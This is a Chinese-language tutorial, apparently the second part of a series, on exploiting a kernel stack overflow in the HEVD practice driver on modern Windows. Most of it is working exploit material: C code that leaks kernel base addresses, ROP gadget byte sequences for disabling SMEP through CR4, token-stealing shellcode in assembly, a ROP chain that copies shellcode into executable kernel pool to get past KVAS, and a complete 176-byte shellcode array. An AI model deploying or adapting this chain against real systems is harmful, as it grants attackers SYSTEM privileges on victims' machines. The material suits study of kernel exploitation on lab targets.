从零探索现代windows内核栈溢出-以HEVD练习为例(下)
字数 1687 2025-08-23 18:31:17
Windows内核栈溢出漏洞利用技术详解 - 以HEVD为例
1. 内核漏洞利用基础概念
1.1 ROP (Return-Oriented Programming)
ROP是一种利用现有代码片段(gadget)来构建攻击链的技术:
- 基本原理:通过控制栈指针,将一系列gadget地址按顺序布置在栈上,每个gadget以
ret结束,从而形成执行链 - 关键gadget示例:
pop rcx ret mov cr4, rcx ret - 执行流程:
- 栈溢出覆盖返回地址为第一个gadget地址
pop rcx从栈中取出值存入rcxret跳转到下一个gadgetmov cr4, rcx将值写入cr4寄存器- 最终跳转到shellcode
1.2 内核地址空间随机化(ASLR)绕过
获取内核模块基地址的方法:
unsigned long long ulGetKernelBase(PCHAR ModuleName) {
// 1. 从ntdll获取NtQuerySystemInformation函数
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
// 2. 查询系统模块信息
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
// 3. 分配内存并获取模块信息
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
// 4. 遍历模块查找目标
for(unsigned int i = 0; i < pModuleInfo->ModulesCount; i++) {
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[i].Name;
if(strstr(kernelImage, ModuleName)) {
PVOID kernelImageBase = pModuleInfo->Modules[i].ImageBaseAddress;
return (unsigned long long)kernelImageBase;
}
}
return 0;
}
1.3 常见ROP Gadget字节序列
| Gadget名称 | 字节序列 |
|---|---|
| RET | 0xC3 |
| POP_RAX | 0x58, 0xC3 |
| POP_RCX | 0x59, 0xC3 |
| MOV_CR4_RCX | 0x0F, 0x22, 0xE1, 0xC3 |
| NOP | 0x4D, 0xC3 |
| POP_RAX_POP_RCX | 0x58, 0x59, 0xC3 |
| MOV_RCX_PTRRAX | 0x48, 0x89, 0x08, 0xC3 |
| XOR_RAX_RAX | 0x48, 0x33, 0xC0, 0xC3 |
2. Token提权技术详解
2.1 EPROCESS结构关键字段
- UniqueProcessId: 进程唯一标识符
- ActiveProcessLinks: 进程链表指针(双向链表)
- Token:
_EX_FAST_REF类型联合体,包含:- 引用计数(低4位)
- 实际Token值(高位)
2.2 Token窃取Shellcode汇编实现
[Bits 64]
_start:
xor rax, rax
mov rax, gs:[rax + 0x188] ; 获取当前_KTHREAD
mov rax, [rax + 0xb8] ; rax = 当前EPROCESS
mov r9, rax ; 保存当前EPROCESS
; 遍历进程链表寻找System进程(pid=4)
mov rax, [rax + 0x448] ; ActiveProcessLinks
mov rax, [rax] ; 第一个Flink
__loop:
mov rdx, [rax - 0x8] ; UniqueProcessId
mov r8, rax ; 保存当前链表项
mov rax, [rax] ; 下一个链表项
cmp rdx, 0x4 ; 检查是否为System进程
jnz __loop
; 窃取System进程Token
mov rdx, [r8 + 0x70] ; System Token
and rdx, -0x8 ; 清除低4位引用计数
mov rcx, [r9 + 0x4b8] ; 当前进程Token
and rcx, 0x7 ; 只保留低3位
add rdx, rcx ; 合并Token值
mov [r9 + 0x4b8], rdx ; 写入当前进程Token
; 启用所有权限
mov rdx, [r8 + 0x70] ; 再次获取System Token
and rdx, 0xFFFFFFFFFFFFFFF0 ; 清除低8位
mov rbx, [rdx + 0x40] ; System Token的Present权限
mov rcx, [r9 + 0x4b8] ; 当前Token
and rcx, 0xFFFFFFFFFFFFFFF0 ; 清除低8位
mov [rcx + 0x40], rbx ; 设置Present权限
mov [rcx + 0x48], rbx ; 设置Enabled权限
xor rax, rax
add rsp, 0x10
retn
2.3 Shellcode编译与提取
- 使用NASM编译:
nasm -f win64 TokenSteal.asm -o TokenSteal.bin - 使用工具(CFF Explorer或HxD)从COFF格式中提取机器码
3. KVAS (Kernel Virtual Address Shadow)绕过技术
3.1 KVAS背景与原理
- 产生原因:缓解MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)漏洞
- 防护机制:
- 用户页表中隔离内核页表
- 用户页表自动标记为NX(不可执行)
- 绕过思路:在内核空间分配可执行内存并复制shellcode
3.2 关键内核函数
-
ExAllocatePoolWithTag:
- 功能:在内核池中分配内存
- 原型:
LPVOID ExAllocatePoolWithTag(POOL_TYPE PoolType, SIZE_T NumberOfBytes, ULONG Tag) - 注意:绕过
mov指令干扰,直接进入push rdi
-
RtlCopyMemory:
- 功能:内存复制
- 实际上是
memcpy的宏
3.3 ROP链设计
// 函数地址获取
unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
unsigned long long ulExAllocatePoolWithTag = base + 0x9B203F;
unsigned long long ulRtlCopyMemory = base + 0x40BEC0;
// ROP链布局
*(funcaddr*)(stackspace + 0x818) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x818 + 8) = (funcaddr)0; // NonPagedPoolExecute
*(funcaddr*)(stackspace + 0x818 + 0x10) = (funcaddr)pop_rdx;
*(funcaddr*)(stackspace + 0x818 + 0x18) = (funcaddr)0x100; // 大小
*(funcaddr*)(stackspace + 0x818 + 0x20) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x28) = (funcaddr)0xDEAD; // Tag
*(funcaddr*)(stackspace + 0x818 + 0x30) = (funcaddr)ulExAllocatePoolWithTag;
// 特殊gadget链实现mov rcx, rax
*(funcaddr*)(stackspace + 0x818 + 0x38) = (funcaddr)pop_rdi;
*(funcaddr*)(stackspace + 0x818 + 0x40) = (funcaddr)pop_rcx;
*(funcaddr*)(stackspace + 0x818 + 0x48) = (funcaddr)push_rax_rdi;
// 复制shellcode到内核
*(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx;
*(funcaddr*)(stackspace + 0x818 + 0x58) = (funcaddr)shellcode_addr;
*(funcaddr*)(stackspace + 0x818 + 0x70) = (funcaddr)pop_r8;
*(funcaddr*)(stackspace + 0x818 + 0x78) = (funcaddr)sizeof(cmd);
*(funcaddr*)(stackspace + 0x818 + 0x80) = (funcaddr)ulRtlCopyMemory;
*(funcaddr*)(stackspace + 0x818 + 0x88) = (funcaddr)jmp_rax;
3.4 完整Shellcode(包含TrapFrame恢复)
unsigned char cmd[176] = {
0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00,
0x00, 0x00, 0x49, 0x89, 0xC1, 0x48, 0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48,
0x8B, 0x50, 0xF8, 0x49, 0x89, 0xC0, 0x48, 0x8B, 0x00, 0x48, 0x83, 0xFA, 0x04, 0x75, 0xF0, 0x49,
0x8B, 0x50, 0x70, 0x48, 0x83, 0xE2, 0xF8, 0x49, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48, 0x83,
0xE1, 0x07, 0x48, 0x01, 0xCA, 0x49, 0x89, 0x91, 0xB8, 0x04, 0x00, 0x00, 0x49, 0x8B, 0x50, 0x70,
0x48, 0x83, 0xE2, 0xF0, 0x48, 0x8B, 0x5A, 0x40, 0x49, 0x8B, 0x89, 0xB8, 0x04, 0x00, 0x00, 0x48,
0x83, 0xE1, 0xF0, 0x48, 0x89, 0x59, 0x40, 0x48, 0x89, 0x59, 0x48, 0x65, 0x48, 0x8B, 0x04, 0x25,
0x88, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x88, 0xE4, 0x01, 0x00, 0x00, 0x66, 0xFF, 0xC1, 0x66, 0x89,
0x88, 0xE4, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8A, 0x68,
0x01, 0x00, 0x00, 0x4C, 0x8B, 0x9A, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xA2, 0x80, 0x01, 0x00,
0x00, 0x48, 0x8B, 0xAA, 0x58, 0x01, 0x00, 0x00, 0x31, 0xC0, 0x0F, 0x01, 0xF8, 0x48, 0x0F, 0x07
};